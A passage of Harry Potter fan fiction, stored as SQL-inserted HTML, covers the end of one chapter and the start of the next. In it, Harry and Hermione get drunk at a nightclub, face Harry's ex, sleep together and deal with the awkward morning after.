that,&#8221; Hermione said with a smile. She sipped at her wine, enjoying the way the taste rolled back over her tongue and down her throat. Setting down her glass, she noticed that Harry was looking at her. &#8220;What?&#8221; Hermione asked, a bit self conscious. </p>\n\n<p>&#8220;Nothing,&#8221; Harry averted his gaze, embarrassed at being caught. &#8220;I just&#8230; I think you look really nice tonight.&#8221; He fumbled around for words. &#8220;I know I told you before, but&#8230;&#8221;</p>\n\n<p>&#8220;Thank you, Harry.&#8221; Hermione&#8217;s cheeks took on a pink tinge. They both looked intently away from one another. The restaurant seemed to be clearing out, the unused tables sweeping back against the wall, and the entranceway was now a bar.</p>\n\n<p>&#8220;Excuse me,&#8221; Harry signalled to their waiter. &#8220;Are you closing up?&#8221;</p>\n\n<p>&#8220;No sir.&#8221; The waiter seemed excited. &#8220;This place turns into a nightclub at about nine.&#8221;</p>\n\n<p>&#8220;Really,&#8221; Harry was surprised. He looked over at Hermione. &#8220;Sorry, I thought that this was just a restaurant.&#8221;</p>\n\n<p>&#8220;Oh, it&#8217;s all right.&#8221; Hermione actually felt relieved, she wouldn&#8217;t have to just sit and stare at Harry in silence all night.&nbsp; Their meal came soon after that and the two of them ate quickly.</p>\n\n<p>After Harry and Hermione finished dinner, they moved from their table to a spot at the bar. &#8220;What&#8217;ll you have?&#8221; Harry asked as they sat down.</p>\n\n<p>&#8220;Hmmm&#8230;.&#8221; Hermione thought for a moment. &#8220;I&#8217;ll have some FireWhisky.&#8221;</p>\n\n<p>&#8220;You want Ogden&#8217;s?&#8221; Harry was surprised. &#8220;It packs a punch, you know.&#8221;</p>\n\n<p>&#8220;I know.&#8221; Hermione replied, giving him a coy smile. &#8220;But I&#8217;d like to really, really celebrate tonight.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Harry agreed, grinning. He flagged down the bartender and soon enough they were set up with a bottle of Ogden&#8217;s Best and two shot glasses. &#8220;Ready?&#8221; he asked after filling both of them. He threw his head back and gulped the whisky down, enjoying the feeling of it going down his throat.&nbsp; &#8220;Hermione, you&#8217;re behind now,&#8221; he filled himself another shot. </p>\n\n<p>&#8220;Bugger off Harry I&#8217;ve never done shots before.&#8221; She replied. Tipping the glass back and swallowing the contents, she began to cough. &#8220;Bloody&#8230;. Awful&#8230;.&#8221; She gasped.</p>\n\n<p>&#8220;Have a few more.&#8221; Harry replied with a rather evil but charming smile. He poured her another shot. Hermione looked at him cautiously before tossing it back.</p>\n\n<p>&#8220;Oooh,&#8221; she suddenly grinned. &#8220;That one wasn&#8217;t so bad!&#8221;</p>\n\n<p>&#8220;They get better as you go.&#8221; Harry replied, the room starting to spin around him. He was already on his fourth shot, and Ogden&#8217;s was working its magic fast on his bloodstream. </p>\n\n<p>&#8220;Yes they do,&#8221; Hermione replied, giggling girlishly now. &#8220;I&#8217;m going to drink more than you!&#8221;</p>\n\n<p>&#8220;Oh I don&#8217;t think so!&#8221; Harry said. He quickly grabbed the bottle away from a squealing Hermione. He gave her a lopsided grin as he poured two more shots. </p>\n\n<p>&#8220;Sod off!&#8221; Hermione said, still giggling. Harry couldn&#8217;t help laughing as well as she downed the shot in effort to catch up. He was hard pressed to keep from reaching out and taking her in his arms; it was even more of an effort to refrain from just snogging her senseless at that moment.</p>\n\n<p>&#8220;Harry now I&#8217;m ahead of you!&#8221; she said now, laughing harder. &#8220;Catch up or pay the consequences!&#8221;</p>\n\n<p>&#8220;What might those consequences be, Ms. Granger?&#8221; Harry leaned close and watched in satisfaction as her eyes widened.&nbsp; &#8220;I&#8217;m <i>very</i> interested in knowing what I would have to do should I not catch up.&#8221;</p>\n\n<p>&#8220;Wouldn&#8217;t you like to know,&#8221; Hermione replied pertly. She looked back up at him, trying not to wobble and fall off the stool. &#8220;I can beat you at this.&#8221;</p>\n\n<p>&#8220;At what?&#8221; Harry asked, amused. </p>\n\n<p>&#8220;Staring contest,&#8221; She said, not looking as she filled up another shot. &#8220;Or have you forgotten how many times I beat Ron at this?&#8221;</p>\n\n<p>&#8220;How could I forget anything you do?&#8221; Harry asked quietly. </p>\n\n<p>&#8220;Wha&#8230; what do you mean?&#8221; Hermione asked nervously. Harry opened his mouth to answer, but shut it with a snap as he looked over his shoulder.&nbsp; &#8220;What is it&#8230; oh.&#8221; She turned to see what he was looking at.</p>\n\n<p>&#8220;What the fuck is she doing here?&#8221; Harry muttered as his ex came in the door, new man hanging onto her arm. Liz looked no worse for wear, and Harry instantly sobered somewhat upon seeing her.</p>\n\n<p>Hermione could feel her lip curling in a slight sneer as the other woman strode through the nightclub as if she owned it. Her long blue-black hair was curled, her makeup perfectly applied, and her slinky black dress falling off her shoulders. Glancing back at Harry, she could see that he was angry.</p>\n\n<p>&#8220;Harry,&#8221; she said in a low voice, putting a hand on his arm. &#8220;Do you want to leave?&#8221;</p>\n\n<p>&#8220;No.&#8221; Harry said flatly, his jaw set. &#8220;I refuse to leave just because <i>she&#8217;s</i> here.&#8221; He felt himself visibly relax as his eyes rested on Hermione&#8217;s face. </p>\n\n<p>&#8220;That&#8217;s good, Harry.&#8221; Hermione was encouraging. &#8220;Just act like she&#8217;s not here.&#8221;</p>\n\n<p>He nodded, still a bit tense. Grabbing the bottle of Ogden&#8217;s, he poured the rest of it into the two shot glasses. &#8220;Let&#8217;s finish this up.&#8221; They both tossed back the shots and dropped the glasses next to the bottle. Harry was pleased that the room still was swirling around them as he tried to stay up upon the bar stool. &#8220;Come on,&#8221; he snorted with laughter again as he pulled on Hermione&#8217;s hands. &#8220;I want to dance.&#8221;</p>\n\n<p>&#8220;What?&#8221; Hermione asked, giggling again as well. &#8220;You just want to make her jealous,&#8221; she jerked her head in Liz&#8217;s direction. </p>\n\n<p>Harry feigned a look of hurt. &#8220;That&#8217;s not true!&#8221; he said, stumbling backwards as she fell against him. &#8220;Ow,&#8221; they both began laughing again. &#8220;Hermione you&#8217;re&#8212; &#8220; </p>\n\n<p>&#8220;Don&#8217;t you dare say I&#8217;m heavy, Harry James Potter!&#8221; Hermione wagged a finger at him, still collapsed against his chest. </p>\n\n<p>&#8220;I was going to say light as a feather,&#8221; he smirked at her. &#8220;Come on, I want to dance!&#8221;</p>\n\n<p>&#8220;I thought you couldn&#8217;t dance.&#8221; Hermione replied, letting him tug her out to the floor.</p>\n\n<p>&#8220;I can&#8217;t.&#8221; Harry snickered. &#8220;But this isn&#8217;t really dancing, is it?&#8221; he motioned to the other people grinding up against one another. She grinned up at him and then wrapped her arms around his neck, pressing her body tightly against his.</p>\n\n<p>&#8220;Hey, I like this,&#8221; he grinned as he wound his arms around her waist. They began to move together to the music that was pounding out of the walls, oblivious now to the jealous glares coming from Liz. &#8220;This isn&#8217;t so bad!&#8221; Harry said after a few minutes. </p>\n\n<p>&#8220;No it&#8217;s not,&#8221; Hermione replied, moving closer and burying her face in his neck. He smelled wonderful, she realised as she brought her fingers up and pushed them into the hair at his nape. </p>\n\n<p>Harry felt a shiver go up his spine as he felt Hermione&#8217;s fingers in his hair. Smiling slightly, he bent forward so that his face was pressed against her locks, his lips moving slightly. Lord, he wanted her so bad right then it literally took all his drunken self control not to do anything.</p>\n\n<p>The music changed and Hermione pulled reluctantly away. They looked at one another for several long, tense moments as the rest of the crowd continued to dance around them. Oblivious to the glaring stare of Harry&#8217;s ex, they sank back into each other&#8217;s arms and just swayed, completely out of time to the music. Neither of them noticed Liz steer her man of the hour in their direction until she purposefully bumped into Harry.</p>\n\n<p>&#8220;What a surprise,&#8221; Liz&#8217;s voice was scornful as she looked Hermione up and down. &#8220;Here without a date are we Harry?&#8221; </p>\n\n<p>&#8220;No,&#8221; Harry replied, trying to keep his cool. &#8220;But I don&#8217;t know if that&#8217;s any business of yours anymore.&#8221;</p>\n\n<p>&#8220;Well don&#8217;t be silly,&#8221; Liz suddenly turned coy and ran her hand up his arm. &#8220;I can tell that you miss me.&#8221;</p>\n\n<p>Harry jerked away as if her touch burned him. Hermione took his hand in hers, glaring at Liz all the while. &#8220;He doesn&#8217;t need pity for a date.&#8221; She replied, her voice as cold as ice. &#8220;Plus he&#8217;s not paying me for company.&#8221;</p>\n\n<p>Liz&#8217;s jaw dropped at Hermione&#8217;s insinuation. &#8220;What are you implying, <i>Hermione</i>?&#8221; her tone was mocking.</p>\n\n<p>&#8220;I&#8217;m <i>implying</i> that you&#8217;re an idiot to leave Harry, especially in the manner that you did, and to come up to him now and act as if everything is all right makes you a pathetic excuse for a witch.&#8221; Hermione replied heatedly. Liz&#8217;s jaw worked up and down but no sounds came out.</p>\n\n<p>&#8220;Come on,&#8221; Harry suddenly spoke up. &#8220;We don&#8217;t need to reduce ourselves to this.&#8221; He cast a glare at Liz, and then slipped an arm around Hermione&#8217;s waist as they walked away. Wordlessly, they retrieved their cloaks and left the nightclub.</p>\n\n<p>&#8220;I&#8217;m sorry about that,&#8221; Harry said once they were some distance away. &#8220;I&#8230; I wasn&#8217;t prepared to face her so soon.&#8221;</p>\n\n<p>&#8220;Do&#8230; do you still have&#8230; feelings for her?&#8221; Hermione asked, feeling strangely short of breath.</p>\n\n<p>Harry turned and gave her a half smile. &#8220;Funnily enough, not really.&#8221; He sighed, looking straight ahead again. &#8220;I mean, sure, at first I was extremely hurt, but then I was so worried about you that it just didn&#8217;t seem to matter.&#8221; His hand came out from under his cloak and found hers. &#8220;And then once you came to stay with me&#8230;.it all faded even more.&#8221;</p>\n\n<p>Hermione squeezed his fingers gently. &#8220;I&#8217;m glad,&#8221; she replied. &#8220;I was beginning to feel useless around there, letting you do everything.&#8221; They both laughed softly as they went up the steps and into Harry&#8217;s flat.</p>\n\n<p>&#8220;It&#8217;s still rather early,&#8221; Harry said as they hung their cloaks up. &#8220;How about I start a fire and we have some hot chocolate?&#8221;</p>\n\n<p>&#8220;Water might be good too,&#8221; Hermione said. &#8220;I have a feeling our heads will be aching soon enough.&#8221;</p>\n\n<p>&#8220;You take care of that and I&#8217;ll take care of the fire.&#8221; Harry said. &#8220;Deal?&#8221;</p>\n\n<p>&#8220;Deal!&#8221; Hermione replied, heading for the kitchen. Harry watched her walk away, and then headed into the living room where in just a few moments he had a cheery fire blazing.</p>\n\n<p>&#8220;I see you&#8217;ve fulfilled your part of the bargain.&#8221; Hermione said, levitating a tray with two mugs and two bottles of water. &#8220;And here is mine.&#8221;</p>\n\n<p>&#8220;Just what the doctor ordered.&#8221; Harry grinned as he spread a soft Gryffindor coloured blanket out on the floor. He sat down and patted the spot next to him. </p>\n\n<p>&#8220;This skirt isn&#8217;t the best thing in the world to lounge around in.&#8221; Hermione pulled it up over her knees. &#8220;That&#8217;s better.&#8221;</p>\n\n<p>Harry gulped as her legs became visible. He turned back to look at the fire, pushing up on the sleeves of his shirt. </p>\n\n<p>&#8220;So&#8230;&#8221; Hermione said after she&#8217;d taken a sip of her chocolate. &#8220;Why do you think she came up to you like that?&#8221;</p>\n\n<p>Harry shrugged and snorted. &#8220;I don&#8217;t know. I don&#8217;t even think I know who she is anymore.&#8221; He pushed up on his glasses. &#8220;I should have seen that she was becoming distant over the past month or two, but I was blind. I thought I loved Liz.&#8221;</p>\n\n<p>Hermione sighed. &#8220;Do you think you could ever forgive her?&#8221;</p>\n\n<p>&#8220;I don&#8217;t care about her anymore.&#8221; Harry said, his glasses reflecting the fire and making it hard for Hermione to read his eyes. &#8220;It&#8217;s over with; I don&#8217;t even want to see her again.&#8221;</p>\n\n<p>&#8220;Well, she&#8217;s a moron.&#8221; Hermione said. &#8220;I mean, if she could leave a great guy like you for someone else, there&#8217;s got to be something wrong with her.&#8221;</p>\n\n<p>Harry made a sound in his throat and turned to her. &#8220;You think I&#8217;m a great guy?&#8221;</p>\n\n<p>Hermione felt her face flame. &#8220;Well&#8230; yeah&#8230; you&#8217;re like an ideal boyfriend Harry, the way you dote on a woman.&#8221; She put her hand on his arm. &#8220;I saw how you treated her when you were together, like she was the only woman in the universe.&#8221;</p>\n\n<p>&#8220;Well if I&#8217;m so good to them then why don&#8217;t any of them stay with me?&#8221; Harry asked, looking straight ahead.</p>\n\n<p>&#8220;I don&#8217;t know.&#8221; Hermione sighed and looked back at the fire. &#8220;I guess we&#8217;re both unlucky in love, I mean, look at my track record.&#8221;</p>\n\n<p>Harry half smiled and turned his head to look at her at the same moment she did. Their eyes locked, and they both found themselves leaning towards one another.</p>\n\n<p>His lips brushed hers gently; it felt like a warm caress of a breeze. Harry&#8217;s hand touched the side of her face, his fingers moving lightly across her cheek. Hermione pulled away slightly and opened her eyes to find his green ones transfixed on her face. </p>\n\n<p>&#8220;Hermione I&#8230;&#8221; he never got to finish because she put her index finger over his lips and them moved her hand up to take his glasses off. His emerald gaze was even brighter without the lenses and Hermione found herself spellbound as he leaned in again, and this time their kiss wasn&#8217;t so hesitant.</p>\n\n<p>His mouth was hot against hers as his hands came up and around her slim body, pulling her up tight against him. She brought her fingers up to trail through the hair at his nape; Harry let out a soft groan as her nails gently brushed his scalp. He shuddered as he pulled his mouth from Hermione&#8217;s and eased her down so that she was lying on the floor. His hands began to wander over her body as his lips attacked her skin. </p>\n\n<p>&#8220;Oh God&#8230; Harry&#8230;&#8221; Hermione breathed as his tongue darted out over her neck, his mouth moving down and across her throat. She involuntarily arched her back, pressing her breast into his palm. It was suddenly too hot for clothing and she sat up, pulling her jumper over her head. He helped her pull his off as well, and then Hermione leaned forward and pressed her mouth against Harry&#8217;s, knocking him backwards onto the blanket. </p>\n\n<p>Harry moved his hands up over her back, passing her bra, and dug his fingers into her hair, pulling the long locks out of the bun she wore, the strands spilling out around and over the two of them like a curtain. Her body moved against his, making his lower half ache. </p>\n\n<p>Hermione could feel Harry&#8217;s growing response to her, and it both frightened and thrilled her. This was <i>Harry</i> for Merlin&#8217;s sake, her best friend Harry she was kissing, and that was the scary part. But it wasn&#8217;t just Harry her best friend from their school days; it was a grown up Harry who happened to be the best kisser she&#8217;d ever encountered. Harry, who had just broken up with his long time girlfriend not even a week before&#8230;</p>\n\n<p>&#8220;Harry.&#8221; Hermione pulled her mouth away from his and propped herself up on her hands so she could look down at him. &#8220;Harry&#8230; we can&#8217;t do this you&#8217;ve just ended a relationship&#8230;&#8221; He gazed at her with his slightly unfocused eyes and she felt her heart skip a few beats.</p>\n\n<p>&#8220;I don&#8217;t care.&#8221; He murmured, pulling her back on top of him. &#8220;I want you.&#8221; She was about to respond when Harry gave her an open mouthed kiss that left her completely breathless. Hermione could no longer think as his tongue tangoed madly with hers, his hands trailing down her back to the clasp of her bra. He snapped it off with one quick motion and began to peel the lacy fabric away from her skin.</p>\n\n<p>Harry wanted to feel her under him, so he moved around so that he was now on top, whisking off her bra without once taking his lips from hers. She arched her back again as his thumb brushed over her already hard nipples, making her cry out into his mouth. He broke away and began to make a trail down her throat, leaving wet kisses over her skin, and then taking one breast into his mouth.</p>\n\n<p>Hermione cried out even louder as his tongue flicked over her tip, and fisted her hand in his hair, gripping tightly. It had been far too long since she&#8217;d been touched intimately, and her body was craving what Harry had to give; what he apparently wanted to do to her. His hand covered the breast his mouth had just been on as he moved to her other, giving it the same treatment as she gasped his name over and over again.</p>\n\n<p>&#8220;Harry&#8230; make love to me&#8230;&#8221; Hermione whimpered as his tongue traced over her skin. &#8220;Please Harry&#8230; make love to me&#8230;&#8221;</p>\n\n<p>Harry pulled his mouth away and looked down at her. &#8220;Hermione&#8230;&#8221;</p>\n\n<p>&#8220;Just do it Harry.&#8221; She was demanding as she pulled him back down on top of her and crushed her mouth to his.</p>\n\n<p>&#8220;You want to? Honestly?&#8221; he asked several moments later after they pulled away from each other.</p>\n\n<p>&#8220;Yes.&#8221; Hermione said immediately. Harry nodded and then stood up and put out the fire. He held a hand out to her and she rose, and started laughing when he scooped her up in his arms, honeymoon style.</p>\n\n<p>&#8220;We have to do this right,&#8221; he said, leaning in for a quick kiss. Hermione wrapped her arms around his neck as he went down the hall into his bedroom. Harry kicked the door shut behind them, then carefully laid her down on the bed, immediately bending over to kiss her again. </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Hermione&#8217;s arms and legs were still tangled with Harry&#8217;s a few hours later. Their fingers were laced together, her thumb brushing over the back of his hand. Harry&#8217;s green eyes were shut tight, his breathing steady as he slept, unaware that Hermione was studying his face and thinking about what they had done that evening.</p>\n\n<p>&#8220;I don&#8217;t know what to think anymore&#8230;&#8221; she said, her voice barely making a sound. &#8220;I never thought you and I&#8230; that we&#8217;d do that sort of thing.&#8221; Harry slept on, as Hermione continued. &#8220;What do I do now?&#8221; she closed her eyes a moment. &#8220;I&#8217;m so confused about how I feel about you Harry&#8230;&#8221; sleepiness was overcoming her in waves. Hermione yawned as she pulled her hand away from Harry&#8217;s, debating on whether or not to move to the side of the bed as well. He had made her feel so good that night, and after the past few weeks, she was craving affection. </p>\n\n<p>&#8220;I&#8217;ll think about it in the morning&#8230;&#8221; Hermione told herself as her eyes slid shut, her body still firmly twined with Harry&#8217;s.</p>\n\n<p>Chapter 4 will be out as soon as I can get it done- Monday I leave for London YAY!!!</p> '),
	(237, 4, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="db4_files/filelist.xml">\n\n<title>Chapter 4</title>\n\n<xml> Heaven Normal Heaven 2 1 2003-06-30T06:33:00Z 2003-06-30T06:35:00Z 1 3973 22648 188 53 26568 10.2625 </xml><xml> Clean MicrosoftInternetExplorer4 </xml>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>Chapter 4</p>\n\n<p>A/N: Hi everyone! Well I rushed it, and yes! I finished Dark Betrayal!</p>\n\n<p>Some of you guys are way smarter than me, and pointed out quite a big mistake: It was supposed to be Millicent Bulstrode, but instead, I wound up using Pansy Parkinson on mistake&#8230; so now I&#8217;ve changed it so it&#8217;s all Pansy. Thanks to those of you that pointed that out to me!</p>\n\n<p>Anyways, like I said, this is the <b>last</b> chapter&#8230; everything is wound up in the next 13 pages&#8230; some of you were smart and guessed, some of you others might just be surprised at what happens :) In any case, I thank you ALL for reading and reviewing, and keep your eyes out for more stuff to come up after I get back from my trip!</p>\n\n<p>And a very, VERY special thank you to Holly for helping me out with this chapter&#8230; if it weren&#8217;t for her you guys wouldn&#8217;t have it yet!</p>\n\n<p>Hermione pulled the sheets tighter around herself as she tried her hardest not to wake up. Cracking one eye open, she saw that it was barely past seven. </p>\n\n<p>&#8216;I can sleep for another hour,&#8217; she thought, and burrowed her face back into the pillow. She was almost asleep again when she felt the bed sag a bit from someone sitting down on the edge.</p>\n\n<p>&#8220;Hermione&#8230;&#8221; Harry called her name quietly. He had woken up that morning and grinned when he saw her body still curled up against his. Harry had still felt like the night before had been a dream until he looked over and saw her in his bed, and he realised then how lucky he was. &#8220;Hermione&#8230;&#8221; he leaned over further, a smile tugging at the corners of his mouth. &#8220;Love, it&#8217;s time to get up&#8230;&#8221;</p>\n\n<p>&#8220;Don&#8217;t want to.&#8221; Hermione buried her face even further into her pillow. Harry realised he was going to have to use different tactics. He leaned over and pressed his lips to her bare shoulder, leaving soft, gentle kisses on her skin. Harry worked his way up her neck and by the time he reached her face she had turned and met his lips with her own.</p>\n\n<p>&#8220;Are you awake now?&#8221; Harry asked as he pulled away. He watched her blink sleepily for a moment, and then her eyes shot open.</p>\n\n<p>&#8220;Bloody hell&#8230;.&#8221; Hermione winced and put her hands to her forehead.</p>\n\n<p>&#8220;I made this for you,&#8221; Harry brought a mug of bubbling potion to her lips. &#8220;Drink it.&#8221;</p>\n\n<p>Hermione clutched onto the cup and gulped back the potion, leaning on the pillows as she did so. &#8220;Thank you,&#8221; she muttered as soon as she could recover her powers of speech. For some reason she wanted to shrink into a little ball and just fade away. &#8220;I&#8217;ll um&#8230; I&#8217;ll be leaving today.&#8221;</p>\n\n<p>Harry looked at her, startled. &#8220;Leaving?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; Hermione answered, still not looking up from the empty mug. &#8220;Since Krum was caught&#8230; I have no reason to intrude on you anymore.&#8221;</p>\n\n<p>&#8220;You haven&#8217;t been intruding.&#8221; Harry replied, putting a finger under her chin and forcing her to look up. &#8220;Hermione&#8230;&#8221;</p>\n\n<p>&#8220;I need to use the loo.&#8221; Hermione interrupted. She pulled the sheet from Harry&#8217;s bed and kept it wrapped around her as she fled the room. </p>\n\n<p>&#8220;Hermione,&#8221; Harry followed her out of his bedroom. &#8220;We need to talk, Hermione.&#8221; He tapped lightly on the door. </p>\n\n<p>&#8220;About what?&#8221; Hermione tried to make her voice sound innocent and failed miserably.</p>\n\n<p>&#8220;About what?&#8221; Harry repeated disbelievingly. He opened the door and she gave a shriek and pulled the sheet more tightly around herself. &#8220;About last night!&#8221;</p>\n\n<p>&#8220;We were drunk, Harry,&#8221; Hermione replied. &#8220;I&#8217;m not so sure what we did was right.&#8221;</p>\n\n<p>&#8220;Dammit, Hermione, I love you!&#8221; Harry burst out. &#8220;I wouldn&#8217;t have slept with you if I wasn&#8217;t sure, and bloody hell, you ASKED me to do it!&#8221;</p>\n\n<p>Hermione put her forehead in her hand while trying to clutch onto the sheet. &#8220;I&#8217;m sorry.&#8221; </p>\n\n<p>Harry felt like he had been hit in the chest with a stunning spell. &#8220;Look,&#8221; he began, his tone hurt. &#8220;Leave whenever you want. I&#8217;m going.&#8221; He slammed the door behind him and took off down the hall, trying to contain his temper.</p>\n\n<p>Hermione sank to the floor as tears came to her eyes. She jumped again as Harry slammed the front door of the flat, the walls shaking behind him. </p>\n\n<p>&#8220;I deserve his anger.&#8221; Hermione said to herself, wiping away at a few tears. &#8220;He just told me he loves me and all I could do is say it happened too fast. I&#8217;m such a bloody idiot.&#8221;</p>\n\n<p>She stood up and splashed some cool water on her face. Going into the guest room, she pulled on her work clothes and tied her hair back. Hermione gathered her belongings, and then hesitantly walked into Harry&#8217;s room for the rest of her clothes. Putting the sheet back on the bed, new tears sprang to her eyes.</p>\n\n<p>&#8220;What do I do?&#8221; she asked desolately, sinking down on the edge. She sobbed for a few moments and then straightened back up. &#8220;Cho&#8230;. I can talk to Cho, she&#8217;s dated Harry, she&#8217;ll know what to do&#8230;.&#8221; Hermione grabbed up the rest of her clothes and dashed from the flat.</p>\n\n<p>&#8220;Cho?&#8221; she knocked on her boss&#8217;s door. &#8220;I&#8217;m sorry to disturb you&#8230;&#8221;</p>\n\n<p>&#8220;Oh it&#8217;s no problem,&#8221; Cho replied pleasantly. Her smile turned to a frown when Hermione came in and took her Muggle sunglasses off. &#8220;What&#8217;s wrong?&#8221;</p>\n\n<p>&#8220;I um&#8230;&#8221; Hermione sniffed and sat down, ashamed of her red eyes. </p>\n\n<p>&#8220;Here,&#8221; Cho offered her a tissue as she sat down next to Hermione. &#8220;Look, start from the beginning&#8230; did something happen with Harry? With Krum?&#8221;</p>\n\n<p>&#8220;With Harry,&#8221; Hermione answered. &#8220;When they got Viktor last night, he came home and told me, and then took me out to celebrate.&#8221; She sniffled and wiped at her eyes. &#8220;We got a little drunk, and started to dance,&#8221; she missed Cho&#8217;s slight smile at this. &#8220;Then his ex girlfriend came in, we all had a few words, and he and I decided to leave.&#8221;</p>\n\n<p>&#8220;Then what?&#8221; Cho asked gently, stroking Hermione&#8217;s hair in a calming manner.</p>\n\n<p>&#8220;We&#8230; we made love&#8230;.&#8221; Hermione said, covering her face with her hands.</p>\n\n<p>&#8220;Hermione, that&#8217;s not a bad thing,&#8221; Cho said, suppressing a smile. </p>\n\n<p>&#8220;Well&#8230; that&#8217;s not really the bad part,&#8221; Hermione said. &#8220;This morning, when he woke me up&#8230; he told me he loves me&#8230;.&#8221;</p>\n\n<p>&#8220;And you didn&#8217;t say it back?&#8221; Cho finished.</p>\n\n<p>Hermione shook her head miserably. &#8220;Not only that, I told him that we went too fast. I think he hates me.&#8221;</p>\n\n<p>Cho smiled. &#8220;Harry could never hate you, Hermione.&#8221; She chuckled. &#8220;In fact, I don&#8217;t even think he could <i>dislike</i> you, much less hate you.&#8221;</p>\n\n<p>&#8220;Really?&#8221; Hermione asked in a tiny voice. </p>\n\n<p>&#8220;How <i>do</i> you feel about Harry?&#8221; Cho asked carefully. </p>\n\n<p>Hermione was silent for awhile. &#8220;I&#8217;m not sure,&#8221; she said finally. &#8220;I don&#8217;t think I&#8217;m up to answering questions about how I feel about Harry.&#8221; She turned to look at Cho. &#8220;When you went out with him&#8230; was he like that?&#8221;</p>\n\n<p>Hermione was surprised when Cho threw her head back and laughed. &#8220;Hermione, you&#8217;ve got to remember, when Harry and I went out&#8230; it was eight years ago for one thing, and neither of us really knew what we were doing.&#8221; </p>\n\n<p>&#8220;Really?&#8221; Hermione asked with a small smile on her face. &#8220;He never really talked about it much&#8230; and I just figured you had more experience than me in this matter.&#8221; </p>\n\n<p>Cho grinned. &#8220;Well&#8230; I do recall that the majority of what we talked about was you.&#8221;</p>\n\n<p>&#8220;Me?&#8221; Hermione was stunned. &#8220;Harry talked about me while he was on a date with you?&#8221;</p>\n\n<p>Cho nodded. &#8220;At the time&#8230; I wanted to talk about Cedric, and what was happening between Harry and I&#8230; and all he wanted to talk about was you.&#8221; She looked at Hermione with an impish twinkle in her eye. &#8220;And I was jealous, I was angry at you for taking up Harry&#8217;s time when you weren&#8217;t even with him.&#8221; Hermione opened her mouth to respond but Cho didn&#8217;t let her talk. &#8220;I&#8217;ve gotten over it, obviously. It was just obvious to me even then that he was crazy about you, even if I was the only one who knew it.&#8221; </p>\n\n<p>Hermione smiled again. &#8220;That seems like such a long time ago now, so much has happened since then.&#8221;</p>\n\n<p>&#8220;Yes, things have changed.&#8221; Cho got up, handing Hermione another tissue. &#8220;Are you feeling better?&#8221;</p>\n\n<p>&#8220;I think so,&#8221; Hermione answered. &#8220;I appreciate your listening to me.&#8221;</p>\n\n<p>&#8220;Anytime, Hermione.&#8221; Cho replied. &#8220;Now, if I don&#8217;t make you go to work, what sort of boss am I?&#8221; she joked.</p>\n\n<p>Hermione laughed. &#8220;All right, all right, I&#8217;m going.&#8221; She picked up her bag and turned to leave.</p>\n\n<p>&#8220;Hermione, if you talk to him, he&#8217;ll understand.&#8221; Cho said. &#8220;You know that right?&#8221;</p>\n\n<p>&#8220;I know,&#8221; Hermione answered. She left Cho&#8217;s office and went down the hall to her own, intent on getting as much work on her desk as possible so she didn&#8217;t have to think of Harry. Opening her door, she stepped inside. &#8220;Ernie!&#8221; she nearly screamed. &#8220;What the bloody hell are you doing in here?&#8221;</p>\n\n<p>Ernie jumped, spilling the papers he was holding all over her desk. &#8220;Hermione! I&#8217;m sorry! I came in here to look for some old research you did&#8230;. I didn&#8217;t&#8217; mean to scare you!&#8221;</p>\n\n<p>Hermione bent down to pick up a few sheets of parchment. &#8220;Ernie, what are you doing with these? This isn&#8217;t research these are old letters of mine from Harry and Ron.&#8221;</p>\n\n<p>&#8220;I know&#8230;&#8221; Ernie stuttered. &#8220;I didn&#8217;t mean to read those, I mean, I found them when I was looking for your research&#8230;&#8221;</p>\n\n<p>&#8220;And you just decided you&#8217;d take a peek?&#8221; Hermione asked crossly. &#8220;This doesn&#8217;t look like research to me, and you looked pretty comfortable behind my desk.&#8221;</p>\n\n<p>&#8220;I&#8230; I&#8217;m sorry&#8230;&#8221; Ernie looked contrite. He held out a sheaf of parchments and Hermione snatched them away, still glaring at him. &#8220;I really didn&#8217;t mean it Hermione&#8230;&#8221; he actually looked close to tears and she sighed.</p>\n\n<p>&#8220;I&#8217;m sorry too.&#8221; Hermione set her things down and rubbed at her eyes. &#8220;I&#8217;ve had a rough night and morning; I didn&#8217;t mean to take it out on you.&#8221;</p>\n\n<p>&#8220;Anything I can help with?&#8221; Ernie seemed to have regained his composure.</p>\n\n<p>&#8220;No&#8230; it&#8217;s just something Harry and I have to deal with together.&#8221; Hermione replied. &#8220;Which research project were you looking for?&#8221;</p>\n\n<p>&#8220;Oh&#8230;&#8221; the question caught him off guard. &#8220;Umm&#8230; the Pantheon Chronicles.&#8221; He replied quickly. Hermione went to her shelves and within seconds had located the stack of parchment.</p>\n\n<p>&#8220;There you go.&#8221; She said. &#8220;Anything else?&#8221;</p>\n\n<p>&#8220;No,&#8221; Ernie smiled at her. &#8220;That&#8217;ll be it.&#8221; He turned to leave. &#8220;I&#8217;m really sorry about your letters.&#8221;</p>\n\n<p>&#8220;It&#8217;s all right.&#8221; Hermione waved her hand and he left. She sat down and let her forehead thud against the cherry wood desk.</p>\n\n<p><i>&#8220;Hermione, if you talk to him, he&#8217;ll understand.&#8221;</i> Cho&#8217;s voice echoed through her head. </p>\n\n<p>&#8220;Will he really understand?&#8221; Hermione asked aloud. &#8220;What if I&#8217;ve mucked everything up by telling him we went into things too fast?&#8221; She stared off into space for a moment, then grabbed a fresh piece of parchment and loaded her quill with ink.</p>\n\n<p>~<i>Harry</i></p>\n\n<p><i></i></p>\n\n<p><i>First off, I want to apologise for what I said this morning. I was terrified of what happened last night, but I don&#8217;t feel that it was wrong. </i></p>\n\n<p><i></i></p>\n\n<p><i>I can&#8217;t blame my actions on being pissed. I wanted you last night, Harry, I wanted you badly. Then after we finished I laid there looking at you&#8230; and I was scared at what I felt, because I&#8217;ve never felt this way about anyone before.</i></p>\n\n<p>Hermione nibbled on the tip of her quill before 